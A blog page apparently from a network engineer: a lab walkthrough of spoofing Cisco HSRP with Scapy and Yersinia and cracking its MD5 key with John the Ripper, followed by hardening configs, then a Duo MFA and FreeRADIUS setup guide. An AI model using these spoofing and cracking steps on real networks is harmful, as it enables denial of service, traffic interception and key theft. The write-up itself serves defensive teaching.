Andrew Roderos

Tech Geek

Security

Attacking HSRP

by Leave a Comment

Back in the day, the Cisco Press books only covered the Hot Standby Router Protocol (HSRP) topic in the professional-level track. When I did a quick search on CCNA books, I found out that they covered it in CCNA R&S ICND2 200-105 OCG and the new CCNA 200-301 OCG, Vol 2 books. Both books, however, didn’t cover the security vulnerability of such minimal configuration. Thus, attacking HSRP is possible.

The books only discussed the theory behind it, the reason for using it, and implementation steps. While it’s all right to cover only the essentials, it is no longer sufficient to run HSRP without security because of how easy it is to attack it. In this article, I’m going to demonstrate how to perform an attack HSRP and protect it from such attacks.

Related: VMware ESXi Home Lab – Intel NUC 10 (Frost Canyon)

In this demo, I used EVE-NG and Kali Linux on my VMware ESXi home lab environment. If you’re looking for a small form factor server, you may want to consider Intel NUC. This NUC is my second one, and I am a fan of it!

Table Of Contents


What is HSRP?

HSRP is a Cisco proprietary protocol released around 1998, at least the RFC. It is one of the First Hop Redundancy Protocol (FHRP) supported in Cisco routers and Layer 3 capable switches. Cisco designed the protocol to provide a mechanism for the routers or switches to establish a fault-tolerant default gateway.

In essence, the devices work in concert to provide an illusion of a single default gateway to the hosts within the LAN. In turn, it allows for some fault scenarios and still not lose connectivity to the default gateway.

How does it work?

Note

This section does not cover everything there is to know about the operations of HSRP. For more information, read the RFC 2281.

It is crucial to understand the fundamental operations of HSRP. Understanding how it works is the key to recognizing the protocol’s vulnerability.

A set of HSRP-capable devices that work together are known as an HSRP group or standby group. A single router in a standby group is elected to be responsible for forwarding traffic destined to the default gateway. This router is known as an active router.

Another router will act as the backup router known as a standby router. If the active router fails, the standby router will become the active router.

These HSRP-enabled devices exchange information between each other using hello packets. Both the active and standby routers send the hello messages to the destination multicast address 224.0.0.2 on UDP 1985.

Within a hello packet, there is a field called priority. HSRP uses this field to elect the active and standby routers. A router with the highest priority wins the election. By default, all routers use 100 as their priority. If there is a tie in priority values, the router with the highest IP address configured wins the election.

Configuration and packet capture

Now that you’re familiar with HSRP’s operations, it’s time to look at the basic configuration and the contents of a hello packet. In this demo, I have two routers, one switch, and two computers.

attacking HSRP

Without further ado, I used the following configuration for both routers.

R1
R2
interface GigabitEthernet0/0
 ip address 10.0.0.2 255.255.255.0
 standby 1 ip 10.0.0.1
 standby 1 priority 120
 standby 1 preempt
interface GigabitEthernet0/0
 ip address 10.0.0.3 255.255.255.0
 standby 1 ip 10.0.0.1

Once the routers see each other’s HSRP messages, R1 will take over as the active router. In the packet capture, it shows both hello packets of R1 and R2 after the election process.

R1
R2
R1 HSRP hello message
R2 HSRP hello message

You will notice that both routers automatically set authentication data to cisco. By default, Cisco IOS includes this key to authenticate routers that participate in HSRP.

Vulnerability

If you stop and think about the basic operations of HSRP, you will be able to recognize its weakness. In essence, any HSRP-capable device can advertise a high priority value and take over as the active router.

The device can be a legitimate router or a malicious actor wanting to issue a denial of service (DoS) or man-in-the-middle (MITM) attack. As a network professional, it falls under our responsibility to ensure network reliability and protect network devices from attacks.

Exploitation

Now that you are aware of HSRP’s basic operations and vulnerability, you can apply that knowledge to exploit its weakness. There are two open-source software tools that you can use to perform a DoS attack: Scapy and Yersinia. With the help of these tools, attacking HSRP makes it easy for anyone to do.

Scapy

In this section, I’m going to demonstrate how easy it is to attack HSRP with the use of Scapy. In this demo, I’m using Kali Linux with a lot of packages installed. You may need to install the software if you get an error.

I used these parameters below to perform the attack.

networkjutsu@kali$ sudo scapy
>>> ip = IP(src='11.11.11.11',dst='224.0.0.2')
>>> udp = UDP(sport=1985,dport=1985)
>>> hsrp = HSRP(group=1,priority=255,virtualIP='10.0.0.1')
>>> send(ip/udp/hsrp,inter=3,loop=1)
.....^C
Sent 5 packets.

Alternatively, you can write the syntax like the one below.

networkjutsu@kali$ sudo scapy
>>> send(IP(src='11.11.11.11',dst='224.0.0.2')/UDP(sport=1985,dport=1985)/HSRP(group=1,priority=255,virtualIP='10.0.0.1'),inter=3,loop=1)
.....^C
Sent 5 packets.

I think the parameters are self-explanatory except for two: inter and loop. The inter parameter means interval in seconds. Since I set it to 3, Scapy will send the packets every 3 seconds. The loop parameter instructs Scapy to keep sending the same message until I stop it.

Once the routers see packets that I crafted using Scapy, their HSRP states will change, as shown below.

R1
R2
Alice
R1#
*Aug 15 20:58:44.595: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Active -> Speak
*Aug 15 20:58:55.826: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Speak -> Standby
R1#show standby brief
                     P indicates configured to preempt.
                     |
Interface   Grp  Pri P State   Active          Standby         Virtual IP
Gi0/0       1    120 P Standby 11.11.11.11     local           10.0.0.1
R2#
*Aug 15 20:58:43.488: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Standby -> Listen
R2#show standby brief
                     P indicates configured to preempt.
                     |
Interface   Grp  Pri P State   Active          Standby         Virtual IP
Gi0/0       1    100   Listen  11.11.11.11     10.0.0.2        10.0.0.1
Alice> ping 8.8.8.8 -t

84 bytes from 8.8.8.8 icmp_seq=1 ttl=116 time=7.719 ms
84 bytes from 8.8.8.8 icmp_seq=2 ttl=116 time=6.688 ms
84 bytes from 8.8.8.8 icmp_seq=3 ttl=116 time=7.091 ms
84 bytes from 8.8.8.8 icmp_seq=4 ttl=116 time=7.666 ms
84 bytes from 8.8.8.8 icmp_seq=5 ttl=116 time=7.853 ms
84 bytes from 8.8.8.8 icmp_seq=6 ttl=116 time=7.859 ms
8.8.8.8 icmp_seq=7 timeout
8.8.8.8 icmp_seq=8 timeout
8.8.8.8 icmp_seq=9 timeout
8.8.8.8 icmp_seq=10 timeout
8.8.8.8 icmp_seq=11 timeout

The screenshot below is the packet capture during the attack.

If you look at frame #6, that’s when Scapy first sent the crafted HSRP message.

Shortly after seeing the crafted HSRP message, R1 sends a resign message (frame #8). This message means that R1 no longer wishes to be the active router.

Next, the R2 sends a message (frame #9) with a listen state. Yes, Wireshark displays it as passive, but if you read RFC 2281, there is no passive state.

Yersinia

For folks that prefer GUI-based, you can use the Yersinia tool to launch the attack. As with the previous section, I’m using Kali Linux in this demo. You may need to install the software if you get an error.

To launch the Yersinia GUI, type the command sudo yersinia -G in the terminal application. When you start Yersinia, you may see a warning message stating that the GUI is an alpha version. Click the OK button to exit out of the warning message.

To start an HSRP attack, select the Launch attack button, and a new window will appear.

In the Choose protocol attack window, select the HSRP tab. Then, select the becoming ACTIVE router radio button, and select the OK button. A new window will appear.

I tried the other options, but they didn’t work for me. Your mileage may vary.

In the HSRP attack parameters window, enter the source IP that you want. To remain consistent throughout the demo, I will use the same IP address. Once you entered the IP address, select the OK button.

Do you find this content useful? If so, consider buying me a coffee! ☕


As you can see, the HSRP message that the Yersinia tool sent out is different than what we crafted using Scapy. The software sent out a coup message instead of a hello message. You can technically do the same thing with Scapy by adding opcode=1 in the HSRP parameter. Either way, both software successfully launched the attack and took over the active router role.

Another difference is the source MAC address that the Yersinia tool uses for the attack. With Scapy, it uses the MAC address of the NIC or vNIC. I tried crafting it using a different source MAC address, but the attack wasn’t successful.

Protection

Defending from HSRP attacks is quite an easy process. It’s surprising how many HSRP-enabled interfaces I’ve seen that do not have security configuration. The network engineers may view it as low threat compared to how information security professionals may view it. It is no secret that these two camps have different opinions with regards to security. But, I digress.

Access Control List (ACL)

One might think that an ACL is enough to protect from an HSRP attack. However, as you have seen, it’s easy enough to spoof the source IP address. To demonstrate that this isn’t successful in thwarting such an attack, I configured an ACL on both routers.

ip access-list extended HSRP
 permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.0.2 eq 1985
 deny   udp any eq 1985 any eq 1985
 permit ip any any
interface GigabitEthernet0/0
 ip access-group HSRP in

As you can see, I limited the routers to accept HSRP messages only from the 10.0.0.0/30 range. If it receives any HSRP packets from outside this range, then the traffic is dropped. The output below shows that 12 packets matching the deny filter. That’s when I attempted to send crafted HSRP messages using a source IP address of 11.11.11.11.

R1#show ip access-list HSRP
Extended IP access list HSRP
    10 permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.0.2 eq 1985 (603 matches)
    20 deny udp any eq 1985 any eq 1985 (12 matches)
    30 permit ip any any (730 matches)

While the ACL is successful in thwarting the HSRP attack, it’s not, however, enough to protect from such an attack. Let’s use Scapy to spoof the IP of the R2 as the source.

Attacker
Alice
R1
R2
networkjutsu@kali$ sudo scapy
>>> ip = IP(src='10.0.0.3',dst='224.0.0.2')
>>> udp = UDP(sport=1985,dport=1985)
>>> hsrp = HSRP(group=1,priority=255,virtualIP='10.0.0.1')
>>> send(ip/udp/hsrp,inter=3,count=20)
....................
Sent 20 packets.
Alice> ping 8.8.8.8 -t

84 bytes from 8.8.8.8 icmp_seq=1 ttl=116 time=7.719 ms
84 bytes from 8.8.8.8 icmp_seq=2 ttl=116 time=6.688 ms
84 bytes from 8.8.8.8 icmp_seq=3 ttl=116 time=7.091 ms
84 bytes from 8.8.8.8 icmp_seq=4 ttl=116 time=7.666 ms
84 bytes from 8.8.8.8 icmp_seq=5 ttl=116 time=7.853 ms
84 bytes from 8.8.8.8 icmp_seq=6 ttl=116 time=7.859 ms
8.8.8.8 icmp_seq=7 timeout
8.8.8.8 icmp_seq=8 timeout
8.8.8.8 icmp_seq=9 timeout
8.8.8.8 icmp_seq=10 timeout
8.8.8.8 icmp_seq=11 timeout
*Aug 16 20:50:41.061: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Standby -> Active
*Aug 16 20:51:15.457: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Active -> Speak
*Aug 16 20:51:15.479: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Speak -> Active
*Aug 16 20:51:18.458: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Active -> Speak
*Aug 16 20:51:28.828: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Speak -> Standby
R1#sh standby
GigabitEthernet0/0 - Group 1
  State is Standby
    78 state changes, last state change 00:00:51
  Virtual IP address is 10.0.0.1
  Active virtual MAC address is 000c.29dd.94c3
    Local virtual MAC address is 0000.0c07.ac01 (v1 default)
  Hello time 3 sec, hold time 10 sec
    Next hello sent in 2.048 secs
  Preemption enabled
  Active router is 10.0.0.3, priority 255 (expires in 3.456 sec)
  Standby router is local
  Priority 120 (configured 120)
  Group name is "hsrp-Gi0/0-1" (default)
*Aug 16 20:51:15.891: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Standby -> Active
*Aug 16 20:51:15.911: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Active -> Speak
R2#sho standby
GigabitEthernet0/0 - Group 1
  State is Listen
    14 state changes, last state change 00:00:13
  Virtual IP address is 10.0.0.1
  Active virtual MAC address is unknown
    Local virtual MAC address is 0000.0c07.ac01 (v1 default)
  Hello time 3 sec, hold time 10 sec
  Preemption disabled
  Active router is unknown
  Standby router is 10.0.0.2, priority 120 (expires in 9.520 sec)
  Priority 100 (default 100)
  Group name is "hsrp-Gi0/0-1" (default)

As you can see from the R1 and R2 output, I was able to launch a successful DoS attack on the HSRP group.

Authentication

Using the authentication data field is the right solution to remediate this security vulnerability. As demonstrated, we must not use the cleartext option since it’s quite easy to sniff this information.

Cisco IOS supports two ways of adding MD5 authentication to HSRP: key chain and key string. The advantage of using the key-chain method is that you can rotate the keys without breaking the HSRP communication between two devices.

While the key-chain method allows you to change the cryptographic authentication algorithm, it doesn’t seem to have any effect. When I captured the packets and grabbed the hash value, the hash-identifier tool still recognized it as MD5 or MD4.

Without further ado, here are the two methods on how to add MD5 authentication to HSRP.

Key Chain
Key String
key chain HSRP
 key 1
  key-string ranger1960
!
interface GigabitEthernet0/0
 standby 1 authentication md5 key-chain HSRP
interface GigabitEthernet0/0
 standby 1 authentication md5 key-string ranger1960

Authentication attack

I was curious if I can attack HSRP’s authentication without cracking the hash. So, I decided to capture the packets on the wire and copy the hash value. I then decided to use Scapy to craft an HSRP packet using the hash value from the packet capture.

R1 Hash
Scapy Hash
Scapy
R1
R2
R1 HSRP MD5 Authentication
Scapy HSRP MD5 Authentication
networkjutsu@kali$ sudo scapy
>>> ip = IP(src='11.11.11.11',dst='224.0.0.2')
>>> udp = UDP(sport=1985,dport=1985)
>>> hsrp = HSRP(group=1,priority=255,virtualIP='10.0.0.1',auth=b'x00\x00\x00\x00\x00\x00\x00\x00')
>>> md5 = HSRPmd5(type=4,len=28,algo=1,padding=0,flags=0,sourceip='10.0.0.3',keyid=0,authdigest=b'\xa6\xb9\x55\x4a\xd2\x31\x62\xd8\x9b\x2d\x6b\x9e\xf3\x5f\x25\x76')
>>> send(ip/udp/hsrp/md5,inter=3,count=10)
*Aug 19 01:40:50.183: %HSRP-4-BADAUTH: Bad authentication from 11.11.11.11, group 1, remote state Active
R1#
*Aug 19 01:40:54.319: %HSRP-4-BADAUTH: Bad authentication from 11.11.11.11, group 1, remote state Active
R2#

As you can see, both the R1 and R2 reported that the crafted packet doesn’t match the HSRP key set on both routers. It seems that it is not vulnerable to pass the hash kind of attack.

While I couldn’t take the pass the hash attack kind of approach, MD5 is not immune to attacks. As you may be aware, MD5 is susceptible to collision attacks. Furthermore, there are other types of attacks, as described in this paper. A highly motivated attacker could theoretically perform these attacks.

Brute force attack

As with any hash, MD5 is susceptible to brute force attacks. That said, it is vital to use a strong enough key for authentication to avoid dictionary-based attacks.

I purposefully set the weak key string so that I can demonstrate how easy it is to crack it. Kali Linux has a wordlist that either hashcat or John the Ripper can use.

The rockyou.txt wordlist included in my installation is quite popular, but it’s not a very big list (134 MB). Other wordlists out there are quite massive. For example, crackstation.net uses a wordlist that amounts to a 15 GB uncompressed text file.

Cracking software

In this demo, I’m going to use one of the popular cracking software tools called John the Ripper (JtR). Depending on the packages that you selected during the Kali Linux installation process, you may not need to install it.

Packet capture

Before you can leverage John the Ripper (JtR), you will need to capture HSRP traffic and save it as a PCAP file. By default, Wireshark saves the file as PCAP Next Generation Dump File format, so make sure to select the right one when saving.

Install packages

Furthermore, you will need to install some software packages before using the software. These packages are required to extract the necessary fields for JtR to crack the hash.

networkjutsu@kali$ sudo apt install python-pip -y
networkjutsu@kali$ sudo pip install wheel
networkjutsu@kali$ sudo pip install scapy
networkjutsu@kali$ sudo pip install --user dpkt

Hash value extraction

Once completed, run the pcap2john.py script against the PCAP file. For each HSRP packets, you will get one hash value. Copy and save the hash value to a text file.

networkjutsu@kali$ sudo /usr/share/john/pcap2john.py md5.pcap
$hsrp$000010030a78010000000000000000000a000001041c010000000a0000020000000000000000000000000000000000000000$a6b9554ad23162d89b2d6b9ef35f2576
$hsrp$000008030a64010000000000000000000a000001041c010000000a0000030000000000000000000000000000000000000000$132833140773d3f3108bfdaa4091a439

Cracking the hash

Now that we have the hash value, it’s time to get cracking (pun intended). In this demo, I stored the hash value in a file called md5.txt.

networkjutsu@kali$ sudo john --format=hsrp Desktop/md5.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (hsrp, "MD5 authentication" HSRP, HSRPv2, VRRP, GLBP [MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
ranger1690      (?)
ranger1690      (?)
2g 0:00:00:00 DONE (2020-08-16 20:10) 200.0g/s 1254Kp/s 2508Kc/s 2508KC/s havana..supreme
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed

As you can see, JtR was able to crack the hash value using a wordlist. It is the reason why you should use a key that isn’t in any of a wordlist. The simplest way is to use a built-in tool in Linux or macOS to generate a key. I use the openssl rand -base64 23 to produce a 32-character key.

Final thoughts

As demonstrated, it is easy to protect HSRP from malicious actors. Yet, there are networks out there running HSRP that do not have this security feature turned on.

I think some network engineers do not believe it poses a real threat to bother securing it. It may be because of the other security controls in place that the threat of such an attack is low.

I, however, believe that it doesn’t cause any real operational burden not to include it. Not only it increases your security posture, but it will also make your security department happy that you are reducing vulnerabilities.

BUY ME COFFEE ☕

Did you find this content useful? Show your appreciation by buying me a coffee!


Disclosure

AndrewRoderos.com is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com.

How to implement Duo Security MFA

by Leave a Comment

If you follow me on Instagram, then you know that I successfully implemented Duo MFA in my home lab. I’ve set up two environments, one with FreeRADIUS, and the other using Windows AD, as the primary authentication source. In today’s article, I’m going to demonstrate how to implement Duo Security MFA with FreeRADIUS as the primary authentication source.

Table Of Contents


Introduction

As you may already know, multi-factor authentication (MFA) isn’t new. Back in the day, the most popular MFA solution is RSA SecurID. Nowadays, one of the popular MFA solutions is Duo. It’s also popular with tech-savvy folks who are looking at deploying two-factor authentication (2FA) in their home lab since they offer free-tier pricing.

I’ve had a 2FA solution in my home lab since 2016. I’ve written a few articles about it. The first article was about adding 2FA when I connect remotely (SSH) to my Ubuntu Linux VMs. The second article was adding 2FA to FreeRADIUS, which gives RADIUS clients a 2FA solution. The third article was adding 2FA to TACACS+ using tac_plus daemon.

What’s needed

In this tutorial, you will need the following:

  • Duo account (sign up for free)
  • Two machines (virtual or physical)

The VM specs will depend on the environment. In my VMware ESXi home lab environment, the Duo VM has the following specs:

  • 1 x vCPU
  • 512MB RAM or more (Recommended is 4GB)
  • 8GB drive space
  • Ubuntu Server 18.04
Related: VMware ESXi Home Lab – Intel NUC 10 (Frost Canyon)

My FreeRADIUS is running on a Docker container. Since I have multiple Docker containers in there, the VM has the following specs:

  • 1 x vCPU
  • 1GB RAM
  • 8GB drive space
  • Ubuntu Server 18.04

FreeRADIUS Docker container

Ever since my first FreeRADIUS 2FA article, I’ve migrated it to a Docker container. That said, it was easy for me to write a new Dockerfile without the Google Authenticator piece.

# Use Base Ubuntu image
FROM ubuntu:18.04

# Author of this Dockerfile
MAINTAINER Andrew Roderos <andrewroderos.com>

# Update & upgrades
RUN apt-get update && apt-get dist-upgrade -y

# Install FreeRADIUS
RUN apt-get install freeradius -y

# Clear local repo
RUN apt-get clean

# Add user to container with home directory
RUN useradd -m -d /home/networkjutsu -s /bin/bash networkjutsu

# Add password to networkjutsu account
RUN echo 'networkjutsu:makemypasswordgreatagain' | chpasswd

# Edit /etc/pam.d/radiusd file
RUN echo "auth required pam_unix.so use_first_pass" >> /etc/pam.d/radiusd

# Edit /etc/freeradius/3.0/mods-config/files/authorize file
# This is the real file for /etc/freeradius/3.0/users
RUN sed -i '1s/^/# Instruct FreeRADIUS to use PAM to authenticate users\n/' /etc/freeradius/3.0/mods-config/files/authorize
RUN sed -i '2s/^/DEFAULT Auth-Type := PAM\n/' /etc/freeradius/3.0/mods-config/files/authorize

# Copy existing /etc/freeradius/sites-available/default file to container
# This is the real file for /etc/freeradius/3.0/sites-enabled/default
COPY default /etc/freeradius/3.0/sites-available/default

# Change owner of the file to freerad
RUN chown freerad:freerad /etc/freeradius/3.0/sites-available/default

# Copy existing /etc/freeradius/clients.conf file to container
COPY clients.conf /etc/freeradius/3.0/clients.conf

# Create a symbolic link
RUN ln -s /etc/freeradius/3.0/mods-available/pam /etc/freeradius/3.0/mods-enabled/pam

# Expose the port
EXPOSE 1812/udp 1813/udp 18120/udp

# Run FreeRADIUS as a foreground process
CMD ["freeradius","-f"]

Note

This Dockerfile references local files that I already have. My first FreeRADIUS article might be able to help you. If not, you could always read the documentation.

Duo user creation

Duo user creation

Once you’ve created your account, it’s time to create a Duo user. This user must match the user accounts in your primary authentication source. In my case, it is the FreeRADIUS server.

If you have a paid account and use OpenLDAP, Windows AD, or Azure AD, there’s a Directory Synchronization feature that automatically imports the accounts to Duo.

Alternatively, you can import users by creating a CSV file. Since I only have one account, I don’t need to import users.

Add phone

Once you click on the Add Phone button, you will see a screen where you can add the user’s full name, email address, phone number, etc. For my purpose, I only added a phone.

Add phone

In the next screen, this is where you will add the user’s phone number.

Add phone number

2FA device

Once you add the user’s phone number, it will automatically add a 2FA device. This next screen will allow you to change the device information.

2FA device

Activate Duo Mobile

The next step is to activate the Duo Mobile app. On the screen where you were just at, click on the Activate Duo Mobile link. It will take you to another screen where you will click the Generate Duo Mobile Activation Code button.

The next screen will allow you to send instructions by SMS to the user.

Note

In my limited testing, this will count towards your telephony credits. The free account comes with over 490+ credits, so this isn’t a big deal. You can buy additional credits should you need it.

Protect an application

Since there’s no Duo Authentication Proxy as an application in the list, we need to use the Partner Auth API as the application.

Duo protect an application

Once you click the Protect button, the next screen will show the information you need when you start configuring the Duo authentication proxy host. Make sure to jot down the integration key, secret key, and API hostname.

Duo Partner Auth API

Feel free to change the name of the application. The application name is the one that will show up in Duo mobile app when there’s a push.

Do you find this content useful? If so, consider buying me a coffee! ☕


Installing Duo Authentication Proxy

This step assumes that you have an Ubuntu Linux VM already installed and updated. To install Duo authentication proxy, issue the commands below.

$ sudo apt-get install build-essential libffi-dev perl zlib1g-dev make -y
$ wget https://dl.duosecurity.com/duoauthproxy-latest-src.tgz
$ tar -zxf duoauthproxy-latest-src.tgz

At this time of writing, the latest version is 4.0.1.8318f80. The directory may be different when you download the installer. That said, feel free to change the directory name in the command shown below.

Note

The make command may take a while to finish.

$ cd duoauthproxy-4.0.1-8318f80-src
$ sudo make
$ cd duoauthproxy-build
$ sudo ./install

When the installation process asks you where you wish to install the Duo authentication proxy, you can either hit Enter or change it to another directory. I prefer it in /etc/duoauthproxy, so that’s where everything will sit for my installation. Everything else just hit Enter to accept the default except for the last question. Type Yes and hit Enter. 

In what directory do you wish to install the Duo Authentication Proxy?
[/opt/duoauthproxy] /etc/duoauthproxy

Enter the name of a user account under which the Authentication Proxy should be run. We recommend a non-privileged and locked down account.
Or you can press <Enter> and our default locked down user will be created for you:
[duo_authproxy_svc]

Enter the name of a group under which the Authentication Proxy logs will be readable. Or press <Enter> and a default group will be created for you:
[duo_authproxy_grp]

Create an initialization script to run the proxy upon startup? [Yes/no] Yes

Optional

Delete the Duo files that you downloaded and extracted.

$ cd ~
$ sudo rm -rf duoauthproxy-4.0.1-8318f80-src
$ rm duoauthproxy-latest-src.tgz

Configuring Duo Authentication Proxy

In this step, you will need to modify the authproxy.cfg file. This configuration file will contain information about your Duo integration and secret key, authentication source, etc.

Before modifying the file, create a backup so you can always revert to the original file. Use the command below to create a backup configuration file.

$ sudo cp /etc/duoauthproxy/conf/authproxy.cfg /etc/duoauthproxy/conf/authproxy.cfg.bak

There are three sections in the configuration file: the main, client, and server. The main configuration section is optional. This section is where you can specify which interface to use, HTTP proxy info, log size, etc. In my lab environment, I don’t need any of them, so I left the default configuration.

The next configuration section is the client section. This section is where you will define the authentication source. At this time of writing, the configuration file has [ad_client] as the default. Since I use the FreeRADIUS server as my authentication source, I will need to either delete or comment it out. I chose to comment it out.

#[ad_client]
#host=
#service_account_username=
#service_account_password=
#search_dn=

[radius_client]
host=192.168.10.51
secret=radius-key-here

The last configuration section is the server section. This section is where you will add your Duo integration key, secret key, API hostname, clients, etc.

[radius_server_auto]
ikey=integration-key-here
skey=secret-key-here
api_host=api-hostname.duosecurity.com
radius_ip_1=192.168.20.0/24
radius_secret_1=radius-key-here
radius_ip_2=192.168.30.2-10
radius_secret_2=radius-key-here
radius_ip_3=192.168.40.100
radius_secret_3=radius-key-here
failmode=safe
client=radius_client
port=1812

Final Thoughts

It is pretty generous for Cisco to continue offering the free-tier pricing. I hope they don’t stop offering it for free since I happen to like it. While the free-tier is limited in features, it is enough for my needs.

As a matter of fact, I switched to Duo MFA as my 2FA solution for my remote access VPN. I configured my Ubiquiti EdgeRouter to point to my Duo Authentication Proxy host instead of my previous 2FA solution. It is no longer necessary for me to memorize the TOTP code before connecting to my VPN using my iOS devices.

You might like to read

Securing SSH with Google Authenticator
Adding Two-Factor Authentication to FreeRADIUS
Adding Two-Factor Authentication to TACACS+

BUY ME COFFEE ☕

Did you find this content useful? Show your appreciation by buying me a coffee!